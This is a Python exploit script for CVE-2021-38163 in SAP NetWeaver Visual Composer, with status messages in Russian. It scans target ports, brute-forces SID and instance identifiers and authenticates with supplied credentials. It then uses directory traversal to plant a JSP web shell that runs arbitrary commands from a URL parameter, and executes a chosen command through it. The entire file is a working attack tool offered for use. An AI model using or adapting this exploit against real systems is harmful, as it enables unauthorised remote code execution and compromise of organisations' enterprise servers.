#!/usr/bin/env python3 # -*- coding: utf-8 -*- # CVE-2021-38163 / (c) rasco@purpleteam.ru # # python -m pip install --upgrade urllib3 # pip uninstall requests # pip install requests==2.21.0 import subprocess import sys import requests import urllib3 import argparse import nmap import itertools def get_user_agent(): user_agent = { "User-agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0" } return user_agent def main(): parser = argparse.ArgumentParser() parser.add_argument("--url", type=str, required=True) parser.add_argument("--user", type=str, help="", required=True) parser.add_argument("--password", type=str, help="", required=True) parser.add_argument("--command", type=str, default="whoami", help="execute command") parser.add_argument("--sid", type=str, default="nmap") parser.add_argument("--ins", type=str, default="brute") opts = parser.parse_args() target_url = opts.url command = opts.command login = opts.user password = opts.password sid = opts.sid ins = opts.ins host = opts.url.find("//") + 2 nm = nmap.PortScanner() nm.scan( hosts=opts.url[host:], arguments="-Pn --open -T4 -sV -p50000,50001,50004,50013,50113", ) scan_data = nm.csv().find("SAP NetWeaver Application Server") if scan_data > 1: print("[+] SAP NetWeaver Application Server") else: print("[-] SAP NetWeaver Application Server не обнаружен") sys.exit(0) if sid == "nmap": print("[*] Сканируем хост для определения SID") host = opts.url.find("//") + 2 nm = nmap.PortScanner() nm.scan( hosts=opts.url[host:], arguments="-Pn --open -T4 -sV -p22,53,111,3201,3301,3901,8101,50000,50001,50004,50013,50113", ) scan_data = nm.csv().find("SID ") if scan_data > 1: sid = nm.csv()[scan_data + 4 : scan_data + 7] print("[+] SID найден: {}".format(sid)) else: print("[-] SID не обнаружен: укажите параметр --sid brute для перебора") return if ins == 'brute': print("[*] Подбираем значение INSTANCE") chars = "J0123" for n in range(3, 3 + 1): for perm in itertools.product(chars, repeat=n): ins = "".join(perm) if sid == 'brute': # chars = 'SAPHNJUBERI0123456789' chars = 'S0' for n in range(3, 3 + 1): for perm in itertools.product(chars, repeat=n): sid = "".join(perm) authorize(target_url, login, password, sid, ins, command) else: authorize(target_url, login, password, sid, ins, command) return def authorize(host, login, password, sid, res, cmd): target_url = host command = cmd proxies = dict(http="http://127.0.0.1:8080") session = requests.Session() session.headers.update(get_user_agent()) upload_url = "{}:50000/irj/servlet/prt/portal/prtroot/com.sap.visualcomposer.VCParMigrator?parName=../../../../../../../../../../../../../../../../../../usr/sap/{}/{}/j2ee/cluster/apps/sap.com/rtmfcommunicator/servlet_jsp/rtmfCommunicator/root/html/urgent.jsp".format( target_url, sid, res ) execute_url = "{}:50000/rtmfCommunicator/html/urgent.jsp?cve={}".format( target_url, command ) response = session.get( upload_url, allow_redirects=True, verify=False, proxies=proxies ) j_salt = "zR1OAEXuc9RrpfMoivkPDV5E+RM=" if "j_salt" in response.text: se_salt = response.text.rfind("j_salt") + 15 j_salt = response.text[se_salt : se_salt + 28] j_salt = j_salt.replace("/", "%2F") j_salt = j_salt.replace("+", "%2B") j_salt = j_salt.replace("=", "%3D") autorization = "login_submit=on&login_do_redirect=1&no_cert_storing=on&j_salt={}&j_username={}&j_password={}&uidPasswordLogon=Log+On".format( j_salt, login, password ) headers = { "Content-Type": "application/x-www-form-urlencoded", "Origin": "{}:50000".format(target_url), "DNT": "1", } response = session.post( upload_url, headers=headers, proxies=proxies, allow_redirects=True, data=autorization, ) headers = { "Content-Type": "multipart/form-data; boundary=------------------------5294cc28a883d435" } upload_defender = ( "--------------------------5294cc28a883d435\n\r" 'Content-Disposition: form-data; name="file"\n\r' 'PKMC<%@ page import="java.util.*,java.io.*"%>\n\r' '<% if (request.getParameter("cve") != null) {\n\r' 'Process p = Runtime.getRuntime().exec(request.getParameter("cve"));\n\r' "OutputStream os = p.getOutputStream();\n\r" "InputStream in = p.getInputStream();\n\r" "DataInputStream dis = new DataInputStream(in);\n\r" "String disr = dis.readLine();\n\r" "while ( disr != null ) {\n\r" "out.println(disr);\n\r" "disr = dis.readLine();\n\r" "}}%>\n\r\n\r" "--------------------------5294cc28a883d435--" ) response = session.post( upload_url, headers=headers, proxies=proxies, allow_redirects=True, data=upload_defender, ) response = requests.get(execute_url) if response.status_code == 200: print("[+] INSTANCE найден: {}".format(res)) print("[+] Выполнение команды {}\n{}".format(command, response.text)) sys.exit(0) if __name__ == "__main__": urllib3.disable_warnings() sys.exit(main())